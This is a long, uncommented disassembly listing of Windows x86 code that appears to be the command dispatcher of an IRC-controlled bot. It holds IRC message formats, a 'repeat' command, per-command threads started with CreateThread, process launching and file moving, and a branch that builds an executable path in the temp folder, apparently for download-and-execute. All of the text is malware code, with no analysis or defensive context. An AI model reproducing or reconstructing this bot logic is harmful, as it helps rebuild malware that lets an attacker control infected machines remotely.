jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS ; "[%s] * %s %s"
jmp loc_407957
; ---------------------------------------------------------------------------
loc_407887: ; CODE XREF: sub_401ACD+4DD7j
; sub_401ACD+4DEEj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
loc_407957: ; CODE XREF: sub_401ACD+5DB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 28h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_407984: ; CODE XREF: sub_401ACD+4DA9j
; sub_401ACD+4DC0j
push edi
call dword_4CBA14 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41BFD0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A910
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40C92C
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407A66
loc_407A50: ; CODE XREF: sub_401ACD+5F97j
cmp [ebp+var_670], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407A50
; ---------------------------------------------------------------------------
loc_407A66: ; CODE XREF: sub_401ACD+5F81j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AA00
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj
; sub_401ACD+4D92j
push edi
call sub_41C159
push 7Fh
mov [ebp+var_1130], eax
push [ebp+arg_18]
lea eax, [ebp+var_1234]
push eax
call sub_41BFD0
push [ebp+arg_0]
call sub_41C159
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push [ebp+var_88]
mov [ebp+var_123C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A8D4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset sub_410DAB
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407B63
loc_407B4D: ; CODE XREF: sub_401ACD+6094j
cmp [ebp+var_111C], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407B4D
; ---------------------------------------------------------------------------
loc_407B63: ; CODE XREF: sub_401ACD+607Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A890
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj
; sub_401ACD+4D64j
push 0FFh
lea eax, [ebp+var_287C]
push edi
push eax
call sub_41BFD0
push 0FFh
lea eax, [ebp+var_277C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push [ebp+arg_0]
mov [ebp+var_2678], ebx
call sub_41C159
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407BCD
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407BD3
; ---------------------------------------------------------------------------
loc_407BCD: ; CODE XREF: sub_401ACD+60EAj
mov [ebp+var_266C], ebx
loc_407BD3: ; CODE XREF: sub_401ACD+60FEj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407BEA
push esi
call sub_41C159
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407BF0
; ---------------------------------------------------------------------------
loc_407BEA: ; CODE XREF: sub_401ACD+610Cj
mov [ebp+var_2670], ebx
loc_407BF0: ; CODE XREF: sub_401ACD+611Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2664], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A864
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset sub_4167A0
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407CA1
loc_407C8B: ; CODE XREF: sub_401ACD+61D2j
cmp [ebp+var_265C], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407C8B
; ---------------------------------------------------------------------------
loc_407CA1: ; CODE XREF: sub_401ACD+61BCj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A824
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj
; sub_401ACD+4D36j
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3414]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3394]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3314]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_328C], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3498], esi
push edi
push offset unk_42A7E8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset sub_41561D
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407D89
loc_407D73: ; CODE XREF: sub_401ACD+62BAj
cmp [ebp+var_3288], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407D73
; ---------------------------------------------------------------------------
loc_407D89: ; CODE XREF: sub_401ACD+62A4j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A7B0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2FEC]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2F6C]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2EEC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3070], esi
push edi
push offset unk_42A780
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset sub_414358
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407E71
loc_407E5B: ; CODE XREF: sub_401ACD+63A2j
cmp [ebp+var_2E60], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407E5B
; ---------------------------------------------------------------------------
loc_407E71: ; CODE XREF: sub_401ACD+638Cj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A748
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407E82: ; CODE XREF: sub_401ACD+4AC9j
; sub_401ACD+4AE0j ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3C68]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3BE8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3B68]
push [ebp+var_88]
push eax
call sub_41BFD0
push 20h
lea eax, [ebp+var_3AE8]
push [ebp+arg_8]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3CF0], esi
push edi
push offset unk_42A718
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset sub_4135DF
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407F6A
loc_407F54: ; CODE XREF: sub_401ACD+649Bj
cmp [ebp+var_3A60], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407F54
; ---------------------------------------------------------------------------
loc_407F6A: ; CODE XREF: sub_401ACD+6485j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A6E0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj
; sub_401ACD+4AB2j
push 7Fh
lea eax, [ebp+var_177C]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push 3Fh
mov [ebp+var_162C], eax
push [ebp+arg_0]
lea eax, [ebp+var_16FC]
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407FC6
push 3Fh
lea eax, [ebp+var_16BC]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_407FC6: ; CODE XREF: sub_401ACD+64E5j
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A6B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408052
loc_40803C: ; CODE XREF: sub_401ACD+6583j
cmp [ebp+var_1620], ebx
jnz loc_406BFE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40803C
; ---------------------------------------------------------------------------
loc_408052: ; CODE XREF: sub_401ACD+656Dj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A674
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408063: ; CODE XREF: sub_401ACD+4A5Bj
; sub_401ACD+4A72j
push [ebp+arg_18]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_408156
mov esi, 80h
push edi
lea eax, [ebp+var_1EF0]
push esi
push eax
call sub_41C360
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1D5C], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A648
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset sub_413A29
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408145
loc_408133: ; CODE XREF: sub_401ACD+6676j
cmp [ebp+var_1D58], ebx
jnz short loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_408133
; ---------------------------------------------------------------------------
loc_408145: ; CODE XREF: sub_401ACD+6664j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A610
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_408156: ; CODE XREF: sub_401ACD+65A7j
push offset unk_42A5D8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408160: ; CODE XREF: sub_401ACD+4A2Dj
; sub_401ACD+4A44j
push [ebp+arg_18]
push edi
call ds:dword_4270BC ; MoveFileA
test eax, eax
jz short loc_40818D
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A5B4
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_4081AD
; ---------------------------------------------------------------------------
loc_40818D: ; CODE XREF: sub_401ACD+669Fj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
loc_4081AA: ; CODE XREF: sub_401ACD+548Dj
; sub_401ACD+73C5j
add esp, 0Ch
loc_4081AD: ; CODE XREF: sub_401ACD+20DCj
; sub_401ACD+2E89j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4081CA: ; CODE XREF: sub_401ACD+56E4j
call sub_409869
add esp, 14h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_401ACD+49FFj
; sub_401ACD+4A16j
push edi
lea eax, [ebp+var_3F08]
push 104h
push eax
call sub_41C360
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408211
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408211
push eax
lea eax, [ebp+var_3E04]
push eax
call sub_41C266
pop ecx
pop ecx
loc_408211: ; CODE XREF: sub_401ACD+6722j
; sub_401ACD+6733j
push [ebp+var_88]
lea eax, [ebp+var_3F88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset unk_42A578
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset sub_417054
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4082C3
loc_4082B1: ; CODE XREF: sub_401ACD+67F4j
cmp [ebp+var_3CF4], ebx
jnz short loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4082B1
; ---------------------------------------------------------------------------
loc_4082C3: ; CODE XREF: sub_401ACD+67E2j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A53C
loc_4082CF: ; CODE XREF: sub_401ACD+909j
; sub_401ACD+A47j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_4082DE: ; CODE XREF: sub_401ACD+7C5j
; sub_401ACD+930j ...
push 1
pop esi
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_4082E6: ; CODE XREF: sub_401ACD+49D1j
; sub_401ACD+49E8j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41BF70
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi
mov [ebp+var_63C], esi
call sub_41C159
add esp, 10h
cmp eax, esi
jnz short loc_408323
mov [ebp+var_638], 5
loc_408323: ; CODE XREF: sub_401ACD+684Bj
cmp [ebp+var_C], ebx
jz loc_406BFE
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406BFE
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_427074 ; CreateProcessA
test eax, eax
jnz short loc_40836E
push offset unk_42A518
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40836E: ; CODE XREF: sub_401ACD+6895j
push edi
push offset dword_42A4FC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408379: ; CODE XREF: sub_401ACD+49A3j
; sub_401ACD+49BAj
push [ebp+arg_18]
push offset aSbrti ; "sbrti"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4084F0
lea eax, [ebp+var_4BF8]
push eax
push 104h
call ds:dword_4270B8 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_25D4]
push edi
push eax
call sub_41BFD0
lea eax, [ebp+var_17D4]
push eax
call sub_40AB77
add esp, 10h
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41C266
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_40840E
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_408414
; ---------------------------------------------------------------------------
loc_40840E: ; CODE XREF: sub_401ACD+692Bj
mov [ebp+var_23C4], ebx
loc_408414: ; CODE XREF: sub_401ACD+693Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40842B
push esi
call sub_41C159
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_408431
; ---------------------------------------------------------------------------
loc_40842B: ; CODE XREF: sub_401ACD+694Dj
mov [ebp+var_23C8], ebx
loc_408431: ; CODE XREF: sub_401ACD+695Cj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A4C4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset sub_4167A0
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4084DF
loc_4084C9: ; CODE XREF: sub_401ACD+6A10j
cmp [ebp+var_23B4], ebx
jnz loc_406BFE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4084C9
; ---------------------------------------------------------------------------
loc_4084DF: ; CODE XREF: sub_401ACD+69FAj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A488
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_4084F0: ; CODE XREF: sub_401ACD+68BDj
push offset dword_42A440
loc_4084F5: ; CODE XREF: sub_401ACD+2E30j
; sub_401ACD+447Dj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_408508: ; CODE XREF: sub_401ACD+4975j
; sub_401ACD+498Cj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
push edi
call sub_41C159
add esp, 28h
test eax, eax
jle short loc_408591
push edi
call sub_41C159
imul eax, 3E8h
pop ecx
push eax
call ds:dword_427080 ; Sleep
loc_408591: ; CODE XREF: sub_401ACD+6AAEj
push offset dword_42A41C
call sub_415D38
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4085A5: ; CODE XREF: sub_401ACD+4947j
; sub_401ACD+495Ej
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_41CA50
add esp, 10h
test eax, eax
push esi
jz short loc_408664
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset unk_42A404
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
test eax, eax
jle loc_409644
push edi
call sub_41C159
add eax, [ebp+arg_24]
pop ecx
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_408664: ; CODE XREF: sub_401ACD+6B1Dj
lea eax, [ebp+var_2C4]
push offset unk_42A3D0
push eax
call sub_41C266
add esp, 0Ch
loc_408678: ; CODE XREF: sub_401ACD+74E3j
cmp [ebp+var_8], ebx
jnz short loc_408699
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_408699: ; CODE XREF: sub_401ACD+6BAEj
; sub_401ACD+71C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_409643
; ---------------------------------------------------------------------------
loc_4086AA: ; CODE XREF: sub_401ACD+4919j
; sub_401ACD+4930j
push 7Fh
lea eax, [ebp+var_2218]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2198]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2118]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
mov [ebp+var_221C], esi
push [ebp+arg_18]
mov [ebp+var_2090], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A39C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset sub_414F57
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40876E
loc_408758: ; CODE XREF: sub_401ACD+6C9Fj
cmp [ebp+var_208C], ebx
jnz loc_40885A
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_408758
; ---------------------------------------------------------------------------
loc_40876E: ; CODE XREF: sub_401ACD+6C89j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A360
jmp loc_40884B
; ---------------------------------------------------------------------------
loc_40877F: ; CODE XREF: sub_401ACD+48EBj
; sub_401ACD+4902j
push 7Fh
lea eax, [ebp+var_23AC]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_232C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_22AC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B0], esi
push [ebp+arg_18]
mov [ebp+var_2224], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A334
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset sub_414703
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40883F
loc_40882D: ; CODE XREF: sub_401ACD+6D70j
cmp [ebp+var_2220], ebx
jnz short loc_40885A
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40882D
; ---------------------------------------------------------------------------
loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A2F8
loc_40884B: ; CODE XREF: sub_401ACD+6CADj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_40885A: ; CODE XREF: sub_401ACD+6C91j
; sub_401ACD+6D66j
cmp [ebp+var_8], ebx
jnz loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_40887A: ; CODE XREF: sub_401ACD+48BDj
; sub_401ACD+48D4j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset aPartS_0 ; "PART %s"
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
loc_408897: ; CODE XREF: sub_401ACD+6E31j
test eax, eax
jle loc_409644
push edi
call sub_41C159
